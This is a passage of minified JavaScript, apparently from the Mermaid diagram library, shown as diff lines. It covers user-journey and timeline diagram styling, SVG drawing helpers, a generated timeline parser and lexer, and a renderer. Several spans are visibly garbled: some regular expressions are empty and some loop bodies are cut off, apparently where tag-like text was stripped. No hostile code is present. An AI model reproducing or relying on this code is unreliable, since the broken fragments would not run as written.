.section-type-2 { + ${t.fillType0?`fill: ${t.fillType2}`:""}; + } + .task-type-3, .section-type-3 { + ${t.fillType0?`fill: ${t.fillType3}`:""}; + } + .task-type-4, .section-type-4 { + ${t.fillType0?`fill: ${t.fillType4}`:""}; + } + .task-type-5, .section-type-5 { + ${t.fillType0?`fill: ${t.fillType5}`:""}; + } + .task-type-6, .section-type-6 { + ${t.fillType0?`fill: ${t.fillType6}`:""}; + } + .task-type-7, .section-type-7 { + ${t.fillType0?`fill: ${t.fillType7}`:""}; + } + + .actor-0 { + ${t.actor0?`fill: ${t.actor0}`:""}; + } + .actor-1 { + ${t.actor1?`fill: ${t.actor1}`:""}; + } + .actor-2 { + ${t.actor2?`fill: ${t.actor2}`:""}; + } + .actor-3 { + ${t.actor3?`fill: ${t.actor3}`:""}; + } + .actor-4 { + ${t.actor4?`fill: ${t.actor4}`:""}; + } + .actor-5 { + ${t.actor5?`fill: ${t.actor5}`:""}; + } + ${zc()} +`,"getStyles"),Xve=Bet});var N$,Fet,Qve,Zve,$et,zet,Kve,Get,Vet,Jve,Uet,uy,e2e=N(()=>{"use strict";yr();r2();N$=o(function(t,e){return Fd(t,e)},"drawRect"),Fet=o(function(t,e){let n=t.append("circle").attr("cx",e.cx).attr("cy",e.cy).attr("class","face").attr("r",15).attr("stroke-width",2).attr("overflow","visible"),i=t.append("g");i.append("circle").attr("cx",e.cx-15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666"),i.append("circle").attr("cx",e.cx+15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666");function a(u){let h=Sl().startAngle(Math.PI/2).endAngle(3*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+2)+")")}o(a,"smile");function s(u){let h=Sl().startAngle(3*Math.PI/2).endAngle(5*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+7)+")")}o(s,"sad");function l(u){u.append("line").attr("class","mouth").attr("stroke",2).attr("x1",e.cx-5).attr("y1",e.cy+7).attr("x2",e.cx+5).attr("y2",e.cy+7).attr("class","mouth").attr("stroke-width","1px").attr("stroke","#666")}return o(l,"ambivalent"),e.score>3?a(i):e.score<3?s(i):l(i),n},"drawFace"),Qve=o(function(t,e){let r=t.append("circle");return r.attr("cx",e.cx),r.attr("cy",e.cy),r.attr("class","actor-"+e.pos),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("r",e.r),r.class!==void 0&&r.attr("class",r.class),e.title!==void 0&&r.append("title").text(e.title),r},"drawCircle"),Zve=o(function(t,e){return bj(t,e)},"drawText"),$et=o(function(t,e){function r(i,a,s,l,u){return i+","+a+" "+(i+s)+","+a+" "+(i+s)+","+(a+l-u)+" "+(i+s-u*1.2)+","+(a+l)+" "+i+","+(a+l)}o(r,"genPoints");let n=t.append("polygon");n.attr("points",r(e.x,e.y,50,20,7)),n.attr("class","labelBox"),e.y=e.y+e.labelMargin,e.x=e.x+.5*e.labelMargin,Zve(t,e)},"drawLabel"),zet=o(function(t,e,r){let n=t.append("g"),i=ua();i.x=e.x,i.y=e.y,i.fill=e.fill,i.width=r.width*e.taskCount+r.diagramMarginX*(e.taskCount-1),i.height=r.height,i.class="journey-section section-type-"+e.num,i.rx=3,i.ry=3,N$(n,i),Jve(r)(e.text,n,i.x,i.y,i.width,i.height,{class:"journey-section section-type-"+e.num},r,e.colour)},"drawSection"),Kve=-1,Get=o(function(t,e,r){let n=e.x+r.width/2,i=t.append("g");Kve++,i.append("line").attr("id","task"+Kve).attr("x1",n).attr("y1",e.y).attr("x2",n).attr("y2",450).attr("class","task-line").attr("stroke-width","1px").attr("stroke-dasharray","4 2").attr("stroke","#666"),Fet(i,{cx:n,cy:300+(5-e.score)*30,score:e.score});let s=ua();s.x=e.x,s.y=e.y,s.fill=e.fill,s.width=r.width,s.height=r.height,s.class="task task-type-"+e.num,s.rx=3,s.ry=3,N$(i,s);let l=e.x+14;e.people.forEach(u=>{let h=e.actors[u].color,f={cx:l,cy:e.y,r:7,fill:h,stroke:"#000",title:u,pos:e.actors[u].position};Qve(i,f),l+=10}),Jve(r)(e.task,i,s.x,s.y,s.width,s.height,{class:"task"},r,e.colour)},"drawTask"),Vet=o(function(t,e){sT(t,e)},"drawBackgroundRect"),Jve=(function(){function t(i,a,s,l,u,h,f,d){let p=a.append("text").attr("x",s+u/2).attr("y",l+h/2+5).style("font-color",d).style("text-anchor","middle").text(i);n(p,f)}o(t,"byText");function e(i,a,s,l,u,h,f,d,p){let{taskFontSize:m,taskFontFamily:g}=d,y=i.split(//gi);for(let v=0;v{let a=lh[i].color,s={cx:20,cy:n,r:7,fill:a,stroke:"#000",pos:lh[i].position};uy.drawCircle(t,s);let l=t.append("text").attr("visibility","hidden").text(i),u=l.node().getBoundingClientRect().width;l.remove();let h=[];if(u<=r)h=[i];else{let f=i.split(" "),d="";l=t.append("text").attr("visibility","hidden"),f.forEach(p=>{let m=d?`${d} ${p}`:p;if(l.text(m),l.node().getBoundingClientRect().width>r){if(d&&h.push(d),d=p,l.text(p),l.node().getBoundingClientRect().width>r){let y="";for(let v of p)y+=v,l.text(y+"-"),l.node().getBoundingClientRect().width>r&&(h.push(y.slice(0,-1)+"-"),y=v);d=y}}else d=m}),d&&h.push(d),l.remove()}h.forEach((f,d)=>{let p={x:40,y:n+7+d*20,fill:"#666",text:f,textMargin:e.boxTextMargin??5},g=uy.drawText(t,p).node().getBoundingClientRect().width;g>vC&&g>e.leftMargin-g&&(vC=g)}),n+=Math.max(20,h.length*20)})}var Het,lh,vC,Hl,Jf,Wet,sl,M$,t2e,Yet,I$,r2e=N(()=>{"use strict";yr();e2e();Xt();Ei();Het=o(function(t){Object.keys(t).forEach(function(r){Hl[r]=t[r]})},"setConf"),lh={},vC=0;o(qet,"drawActorLegend");Hl=ge().journey,Jf=0,Wet=o(function(t,e,r,n){let i=ge(),a=i.journey.titleColor,s=i.journey.titleFontSize,l=i.journey.titleFontFamily,u=i.securityLevel,h;u==="sandbox"&&(h=qe("#i"+e));let f=u==="sandbox"?qe(h.nodes()[0].contentDocument.body):qe("body");sl.init();let d=f.select("#"+e);uy.initGraphics(d);let p=n.db.getTasks(),m=n.db.getDiagramTitle(),g=n.db.getActors();for(let S in lh)delete lh[S];let y=0;g.forEach(S=>{lh[S]={color:Hl.actorColours[y%Hl.actorColours.length],position:y},y++}),qet(d),Jf=Hl.leftMargin+vC,sl.insert(0,0,Jf,Object.keys(lh).length*50),Yet(d,p,0);let v=sl.getBounds();m&&d.append("text").text(m).attr("x",Jf).attr("font-size",s).attr("font-weight","bold").attr("y",25).attr("fill",a).attr("font-family",l);let x=v.stopy-v.starty+2*Hl.diagramMarginY,b=Jf+v.stopx+2*Hl.diagramMarginX;mn(d,x,b,Hl.useMaxWidth),d.append("line").attr("x1",Jf).attr("y1",Hl.height*4).attr("x2",b-Jf-4).attr("y2",Hl.height*4).attr("stroke-width",4).attr("stroke","black").attr("marker-end","url(#arrowhead)");let T=m?70:0;d.attr("viewBox",`${v.startx} -25 ${b} ${x+T}`),d.attr("preserveAspectRatio","xMinYMin meet"),d.attr("height",x+T+25)},"draw"),sl={data:{startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},verticalPos:0,sequenceItems:[],init:o(function(){this.sequenceItems=[],this.data={startx:void 0,stopx:void 0,starty:void 0,stopy:void 0},this.verticalPos=0},"init"),updateVal:o(function(t,e,r,n){t[e]===void 0?t[e]=r:t[e]=n(r,t[e])},"updateVal"),updateBounds:o(function(t,e,r,n){let i=ge().journey,a=this,s=0;function l(u){return o(function(f){s++;let d=a.sequenceItems.length-s+1;a.updateVal(f,"starty",e-d*i.boxMargin,Math.min),a.updateVal(f,"stopy",n+d*i.boxMargin,Math.max),a.updateVal(sl.data,"startx",t-d*i.boxMargin,Math.min),a.updateVal(sl.data,"stopx",r+d*i.boxMargin,Math.max),u!=="activation"&&(a.updateVal(f,"startx",t-d*i.boxMargin,Math.min),a.updateVal(f,"stopx",r+d*i.boxMargin,Math.max),a.updateVal(sl.data,"starty",e-d*i.boxMargin,Math.min),a.updateVal(sl.data,"stopy",n+d*i.boxMargin,Math.max))},"updateItemBounds")}o(l,"updateFn"),this.sequenceItems.forEach(l())},"updateBounds"),insert:o(function(t,e,r,n){let i=Math.min(t,r),a=Math.max(t,r),s=Math.min(e,n),l=Math.max(e,n);this.updateVal(sl.data,"startx",i,Math.min),this.updateVal(sl.data,"starty",s,Math.min),this.updateVal(sl.data,"stopx",a,Math.max),this.updateVal(sl.data,"stopy",l,Math.max),this.updateBounds(i,s,a,l)},"insert"),bumpVerticalPos:o(function(t){this.verticalPos=this.verticalPos+t,this.data.stopy=this.verticalPos},"bumpVerticalPos"),getVerticalPos:o(function(){return this.verticalPos},"getVerticalPos"),getBounds:o(function(){return this.data},"getBounds")},M$=Hl.sectionFills,t2e=Hl.sectionColours,Yet=o(function(t,e,r){let n=ge().journey,i="",a=n.height*2+n.diagramMarginY,s=r+a,l=0,u="#CCC",h="black",f=0;for(let[d,p]of e.entries()){if(i!==p.section){u=M$[l%M$.length],f=l%M$.length,h=t2e[l%t2e.length];let g=0,y=p.section;for(let x=d;x(lh[y]&&(g[y]=lh[y]),g),{});p.x=d*n.taskMargin+d*n.width+Jf,p.y=s,p.width=n.diagramMarginX,p.height=n.diagramMarginY,p.colour=h,p.fill=u,p.num=f,p.actors=m,uy.drawTask(t,p,n),sl.insert(p.x,p.y,p.x+p.width+n.taskMargin,450)}},"drawTasks"),I$={setConf:Het,draw:Wet}});var n2e={};dr(n2e,{diagram:()=>Xet});var Xet,i2e=N(()=>{"use strict";qve();Yve();jve();r2e();Xet={parser:Hve,db:R$,renderer:I$,styles:Xve,init:o(t=>{I$.setConf(t.journey),R$.clear()},"init")}});var P$,h2e,f2e=N(()=>{"use strict";P$=(function(){var t=o(function(p,m,g,y){for(g=g||{},y=p.length;y--;g[p[y]]=m);return g},"o"),e=[6,8,10,11,12,14,16,17,20,21],r=[1,9],n=[1,10],i=[1,11],a=[1,12],s=[1,13],l=[1,16],u=[1,17],h={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,timeline:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NEWLINE:10,title:11,acc_title:12,acc_title_value:13,acc_descr:14,acc_descr_value:15,acc_descr_multiline_value:16,section:17,period_statement:18,event_statement:19,period:20,event:21,$accept:0,$end:1},terminals_:{2:"error",4:"timeline",6:"EOF",8:"SPACE",10:"NEWLINE",11:"title",12:"acc_title",13:"acc_title_value",14:"acc_descr",15:"acc_descr_value",16:"acc_descr_multiline_value",17:"section",20:"period",21:"event"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[9,1],[9,2],[9,2],[9,1],[9,1],[9,1],[9,1],[18,1],[19,1]],performAction:o(function(m,g,y,v,x,b,T){var S=b.length-1;switch(x){case 1:return b[S-1];case 2:this.$=[];break;case 3:b[S-1].push(b[S]),this.$=b[S-1];break;case 4:case 5:this.$=b[S];break;case 6:case 7:this.$=[];break;case 8:v.getCommonDb().setDiagramTitle(b[S].substr(6)),this.$=b[S].substr(6);break;case 9:this.$=b[S].trim(),v.getCommonDb().setAccTitle(this.$);break;case 10:case 11:this.$=b[S].trim(),v.getCommonDb().setAccDescription(this.$);break;case 12:v.addSection(b[S].substr(8)),this.$=b[S].substr(8);break;case 15:v.addTask(b[S],0,""),this.$=b[S];break;case 16:v.addEvent(b[S].substr(2)),this.$=b[S];break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:r,12:n,14:i,16:a,17:s,18:14,19:15,20:l,21:u},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:18,11:r,12:n,14:i,16:a,17:s,18:14,19:15,20:l,21:u},t(e,[2,5]),t(e,[2,6]),t(e,[2,8]),{13:[1,19]},{15:[1,20]},t(e,[2,11]),t(e,[2,12]),t(e,[2,13]),t(e,[2,14]),t(e,[2,15]),t(e,[2,16]),t(e,[2,4]),t(e,[2,9]),t(e,[2,10])],defaultActions:{},parseError:o(function(m,g){if(g.recoverable)this.trace(m);else{var y=new Error(m);throw y.hash=g,y}},"parseError"),parse:o(function(m){var g=this,y=[0],v=[],x=[null],b=[],T=this.table,S="",w=0,k=0,A=0,C=2,R=1,I=b.slice.call(arguments,1),L=Object.create(this.lexer),E={yy:{}};for(var D in this.yy)Object.prototype.hasOwnProperty.call(this.yy,D)&&(E.yy[D]=this.yy[D]);L.setInput(m,E.yy),E.yy.lexer=L,E.yy.parser=this,typeof L.yylloc>"u"&&(L.yylloc={});var _=L.yylloc;b.push(_);var O=L.options&&L.options.ranges;typeof E.yy.parseError=="function"?this.parseError=E.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function M(ee){y.length=y.length-2*ee,x.length=x.length-ee,b.length=b.length-ee}o(M,"popStack");function P(){var ee;return ee=v.pop()||L.lex()||R,typeof ee!="number"&&(ee instanceof Array&&(v=ee,ee=v.pop()),ee=g.symbols_[ee]||ee),ee}o(P,"lex");for(var B,F,G,$,U,j,te={},Y,oe,J,ue;;){if(G=y[y.length-1],this.defaultActions[G]?$=this.defaultActions[G]:((B===null||typeof B>"u")&&(B=P()),$=T[G]&&T[G][B]),typeof $>"u"||!$.length||!$[0]){var re="";ue=[];for(Y in T[G])this.terminals_[Y]&&Y>C&&ue.push("'"+this.terminals_[Y]+"'");L.showPosition?re="Parse error on line "+(w+1)+`: +`+L.showPosition()+` +Expecting `+ue.join(", ")+", got '"+(this.terminals_[B]||B)+"'":re="Parse error on line "+(w+1)+": Unexpected "+(B==R?"end of input":"'"+(this.terminals_[B]||B)+"'"),this.parseError(re,{text:L.match,token:this.terminals_[B]||B,line:L.yylineno,loc:_,expected:ue})}if($[0]instanceof Array&&$.length>1)throw new Error("Parse Error: multiple actions possible at state: "+G+", token: "+B);switch($[0]){case 1:y.push(B),x.push(L.yytext),b.push(L.yylloc),y.push($[1]),B=null,F?(B=F,F=null):(k=L.yyleng,S=L.yytext,w=L.yylineno,_=L.yylloc,A>0&&A--);break;case 2:if(oe=this.productions_[$[1]][1],te.$=x[x.length-oe],te._$={first_line:b[b.length-(oe||1)].first_line,last_line:b[b.length-1].last_line,first_column:b[b.length-(oe||1)].first_column,last_column:b[b.length-1].last_column},O&&(te._$.range=[b[b.length-(oe||1)].range[0],b[b.length-1].range[1]]),j=this.performAction.apply(te,[S,k,w,E.yy,$[1],x,b].concat(I)),typeof j<"u")return j;oe&&(y=y.slice(0,-1*oe*2),x=x.slice(0,-1*oe),b=b.slice(0,-1*oe)),y.push(this.productions_[$[1]][0]),x.push(te.$),b.push(te._$),J=T[y[y.length-2]][y[y.length-1]],y.push(J);break;case 3:return!0}}return!0},"parse")},f=(function(){var p={EOF:1,parseError:o(function(g,y){if(this.yy.parser)this.yy.parser.parseError(g,y);else throw new Error(g)},"parseError"),setInput:o(function(m,g){return this.yy=g||this.yy||{},this._input=m,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var m=this._input[0];this.yytext+=m,this.yyleng++,this.offset++,this.match+=m,this.matched+=m;var g=m.match(/(?:\r\n?|\n).*/g);return g?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),m},"input"),unput:o(function(m){var g=m.length,y=m.split(/(?:\r\n?|\n)/g);this._input=m+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-g),this.offset-=g;var v=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),y.length-1&&(this.yylineno-=y.length-1);var x=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:y?(y.length===v.length?this.yylloc.first_column:0)+v[v.length-y.length].length-y[0].length:this.yylloc.first_column-g},this.options.ranges&&(this.yylloc.range=[x[0],x[0]+this.yyleng-g]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(m){this.unput(this.match.slice(m))},"less"),pastInput:o(function(){var m=this.matched.substr(0,this.matched.length-this.match.length);return(m.length>20?"...":"")+m.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var m=this.match;return m.length<20&&(m+=this._input.substr(0,20-m.length)),(m.substr(0,20)+(m.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var m=this.pastInput(),g=new Array(m.length+1).join("-");return m+this.upcomingInput()+` +`+g+"^"},"showPosition"),test_match:o(function(m,g){var y,v,x;if(this.options.backtrack_lexer&&(x={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(x.yylloc.range=this.yylloc.range.slice(0))),v=m[0].match(/(?:\r\n?|\n).*/g),v&&(this.yylineno+=v.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:v?v[v.length-1].length-v[v.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+m[0].length},this.yytext+=m[0],this.match+=m[0],this.matches=m,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(m[0].length),this.matched+=m[0],y=this.performAction.call(this,this.yy,this,g,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),y)return y;if(this._backtrack){for(var b in x)this[b]=x[b];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var m,g,y,v;this._more||(this.yytext="",this.match="");for(var x=this._currentRules(),b=0;bg[0].length)){if(g=y,v=b,this.options.backtrack_lexer){if(m=this.test_match(y,x[b]),m!==!1)return m;if(this._backtrack){g=!1;continue}else return!1}else if(!this.options.flex)break}return g?(m=this.test_match(g,x[v]),m!==!1?m:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var g=this.next();return g||this.lex()},"lex"),begin:o(function(g){this.conditionStack.push(g)},"begin"),popState:o(function(){var g=this.conditionStack.length-1;return g>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(g){return g=this.conditionStack.length-1-Math.abs(g||0),g>=0?this.conditionStack[g]:"INITIAL"},"topState"),pushState:o(function(g){this.begin(g)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(g,y,v,x){var b=x;switch(v){case 0:break;case 1:break;case 2:return 10;case 3:break;case 4:break;case 5:return 4;case 6:return 11;case 7:return this.begin("acc_title"),12;break;case 8:return this.popState(),"acc_title_value";break;case 9:return this.begin("acc_descr"),14;break;case 10:return this.popState(),"acc_descr_value";break;case 11:this.begin("acc_descr_multiline");break;case 12:this.popState();break;case 13:return"acc_descr_multiline_value";case 14:return 17;case 15:return 21;case 16:return 20;case 17:return 6;case 18:return"INVALID"}},"anonymous"),rules:[/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:timeline\b)/i,/^(?:title\s[^\n]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:section\s[^:\n]+)/i,/^(?::\s(?:[^:\n]|:(?!\s))+)/i,/^(?:[^#:\n]+)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[12,13],inclusive:!1},acc_descr:{rules:[10],inclusive:!1},acc_title:{rules:[8],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,9,11,14,15,16,17,18],inclusive:!0}}};return p})();h.lexer=f;function d(){this.yy={}}return o(d,"Parser"),d.prototype=h,h.Parser=d,new d})();P$.parser=P$;h2e=P$});var F$={};dr(F$,{addEvent:()=>T2e,addSection:()=>y2e,addTask:()=>b2e,addTaskOrg:()=>w2e,clear:()=>g2e,default:()=>ntt,getCommonDb:()=>m2e,getSections:()=>v2e,getTasks:()=>x2e});var hy,p2e,B$,xC,fy,m2e,g2e,y2e,v2e,x2e,b2e,T2e,w2e,d2e,ntt,k2e=N(()=>{"use strict";ci();hy="",p2e=0,B$=[],xC=[],fy=[],m2e=o(()=>rv,"getCommonDb"),g2e=o(function(){B$.length=0,xC.length=0,hy="",fy.length=0,Sr()},"clear"),y2e=o(function(t){hy=t,B$.push(t)},"addSection"),v2e=o(function(){return B$},"getSections"),x2e=o(function(){let t=d2e(),e=100,r=0;for(;!t&&rr.id===p2e-1).events.push(t)},"addEvent"),w2e=o(function(t){let e={section:hy,type:hy,description:t,task:t,classes:[]};xC.push(e)},"addTaskOrg"),d2e=o(function(){let t=o(function(r){return fy[r].processed},"compileTask"),e=!0;for(let[r,n]of fy.entries())t(r),e=e&&n.processed;return e},"compileTasks"),ntt={clear:g2e,getCommonDb:m2e,addSection:y2e,getSections:v2e,getTasks:x2e,addTask:b2e,addTaskOrg:w2e,addEvent:T2e}});function A2e(t,e){t.each(function(){var r=qe(this),n=r.text().split(/(\s+|
    )/).reverse(),i,a=[],s=1.1,l=r.attr("y"),u=parseFloat(r.attr("dy")),h=r.text(null).append("tspan").attr("x",0).attr("y",l).attr("dy",u+"em");for(let f=0;fe||i==="
    ")&&(a.pop(),h.text(a.join(" ").trim()),i==="
    "?a=[""]:a=[i],h=r.append("tspan").attr("x",0).attr("y",l).attr("dy",s+"em").text(i))})}var itt,bC,att,stt,S2e,ott,ltt,E2e,ctt,utt,htt,$$,C2e,ftt,dtt,ptt,mtt,ed,_2e=N(()=>{"use strict";yr();itt=12,bC=o(function(t,e){let r=t.append("rect");return r.attr("x",e.x),r.attr("y",e.y),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("width",e.width),r.attr("height",e.height),r.attr("rx",e.rx),r.attr("ry",e.ry),e.class!==void 0&&r.attr("class",e.class),r},"drawRect"),att=o(function(t,e){let n=t.append("circle").attr("cx",e.cx).attr("cy",e.cy).attr("class","face").attr("r",15).attr("stroke-width",2).attr("overflow","visible"),i=t.append("g");i.append("circle").attr("cx",e.cx-15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666"),i.append("circle").attr("cx",e.cx+15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666");function a(u){let h=Sl().startAngle(Math.PI/2).endAngle(3*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+2)+")")}o(a,"smile");function s(u){let h=Sl().startAngle(3*Math.PI/2).endAngle(5*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+7)+")")}o(s,"sad");function l(u){u.append("line").attr("class","mouth").attr("stroke",2).attr("x1",e.cx-5).attr("y1",e.cy+7).attr("x2",e.cx+5).attr("y2",e.cy+7).attr("class","mouth").attr("stroke-width","1px").attr("stroke","#666")}return o(l,"ambivalent"),e.score>3?a(i):e.score<3?s(i):l(i),n},"drawFace"),stt=o(function(t,e){let r=t.append("circle");return r.attr("cx",e.cx),r.attr("cy",e.cy),r.attr("class","actor-"+e.pos),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("r",e.r),r.class!==void 0&&r.attr("class",r.class),e.title!==void 0&&r.append("title").text(e.title),r},"drawCircle"),S2e=o(function(t,e){let r=e.text.replace(//gi," "),n=t.append("text");n.attr("x",e.x),n.attr("y",e.y),n.attr("class","legend"),n.style("text-anchor",e.anchor),e.class!==void 0&&n.attr("class",e.class);let i=n.append("tspan");return i.attr("x",e.x+e.textMargin*2),i.text(r),n},"drawText"),ott=o(function(t,e){function r(i,a,s,l,u){return i+","+a+" "+(i+s)+","+a+" "+(i+s)+","+(a+l-u)+" "+(i+s-u*1.2)+","+(a+l)+" "+i+","+(a+l)}o(r,"genPoints");let n=t.append("polygon");n.attr("points",r(e.x,e.y,50,20,7)),n.attr("class","labelBox"),e.y=e.y+e.labelMargin,e.x=e.x+.5*e.labelMargin,S2e(t,e)},"drawLabel"),ltt=o(function(t,e,r){let n=t.append("g"),i=$$();i.x=e.x,i.y=e.y,i.fill=e.fill,i.width=r.width,i.height=r.height,i.class="journey-section section-type-"+e.num,i.rx=3,i.ry=3,bC(n,i),C2e(r)(e.text,n,i.x,i.y,i.width,i.height,{class:"journey-section section-type-"+e.num},r,e.colour)},"drawSection"),E2e=-1,ctt=o(function(t,e,r){let n=e.x+r.width/2,i=t.append("g");E2e++,i.append("line").attr("id","task"+E2e).attr("x1",n).attr("y1",e.y).attr("x2",n).attr("y2",450).attr("class","task-line").attr("stroke-width","1px").attr("stroke-dasharray","4 2").attr("stroke","#666"),att(i,{cx:n,cy:300+(5-e.score)*30,score:e.score});let s=$$();s.x=e.x,s.y=e.y,s.fill=e.fill,s.width=r.width,s.height=r.height,s.class="task task-type-"+e.num,s.rx=3,s.ry=3,bC(i,s),C2e(r)(e.task,i,s.x,s.y,s.width,s.height,{class:"task"},r,e.colour)},"drawTask"),utt=o(function(t,e){bC(t,{x:e.startx,y:e.starty,width:e.stopx-e.startx,height:e.stopy-e.starty,fill:e.fill,class:"rect"}).lower()},"drawBackgroundRect"),htt=o(function(){return{x:0,y:0,fill:void 0,"text-anchor":"start",width:100,height:100,textMargin:0,rx:0,ry:0}},"getTextObj"),$$=o(function(){return{x:0,y:0,width:100,anchor:"start",height:100,rx:0,ry:0}},"getNoteRect"),C2e=(function(){function t(i,a,s,l,u,h,f,d){let p=a.append("text").attr("x",s+u/2).attr("y",l+h/2+5).style("font-color",d).style("text-anchor","middle").text(i);n(p,f)}o(t,"byText");function e(i,a,s,l,u,h,f,d,p){let{taskFontSize:m,taskFontFamily:g}=d,y=i.split(//gi);for(let v=0;v{"use strict";yr();_2e();pt();Xt();Ei();gtt=o(function(t,e,r,n){let i=ge(),a=i.timeline?.leftMargin??50;X.debug("timeline",n.db);let s=i.securityLevel,l;s==="sandbox"&&(l=qe("#i"+e));let h=(s==="sandbox"?qe(l.nodes()[0].contentDocument.body):qe("body")).select("#"+e);h.append("g");let f=n.db.getTasks(),d=n.db.getCommonDb().getDiagramTitle();X.debug("task",f),ed.initGraphics(h);let p=n.db.getSections();X.debug("sections",p);let m=0,g=0,y=0,v=0,x=50+a,b=50;v=50;let T=0,S=!0;p.forEach(function(R){let I={number:T,descr:R,section:T,width:150,padding:20,maxHeight:m},L=ed.getVirtualNodeHeight(h,I,i);X.debug("sectionHeight before draw",L),m=Math.max(m,L+20)});let w=0,k=0;X.debug("tasks.length",f.length);for(let[R,I]of f.entries()){let L={number:R,descr:I,section:I.section,width:150,padding:20,maxHeight:g},E=ed.getVirtualNodeHeight(h,L,i);X.debug("taskHeight before draw",E),g=Math.max(g,E+20),w=Math.max(w,I.events.length);let D=0;for(let _ of I.events){let O={descr:_,section:I.section,number:I.section,width:150,padding:20,maxHeight:50};D+=ed.getVirtualNodeHeight(h,O,i)}I.events.length>0&&(D+=(I.events.length-1)*10),k=Math.max(k,D)}X.debug("maxSectionHeight before draw",m),X.debug("maxTaskHeight before draw",g),p&&p.length>0?p.forEach(R=>{let I=f.filter(_=>_.section===R),L={number:T,descr:R,section:T,width:200*Math.max(I.length,1)-50,padding:20,maxHeight:m};X.debug("sectionNode",L);let E=h.append("g"),D=ed.drawNode(E,L,T,i);X.debug("sectionNode output",D),E.attr("transform",`translate(${x}, ${v})`),b+=m+50,I.length>0&&D2e(h,I,T,x,b,g,i,w,k,m,!1),x+=200*Math.max(I.length,1),b=v,T++}):(S=!1,D2e(h,f,T,x,b,g,i,w,k,m,!0));let 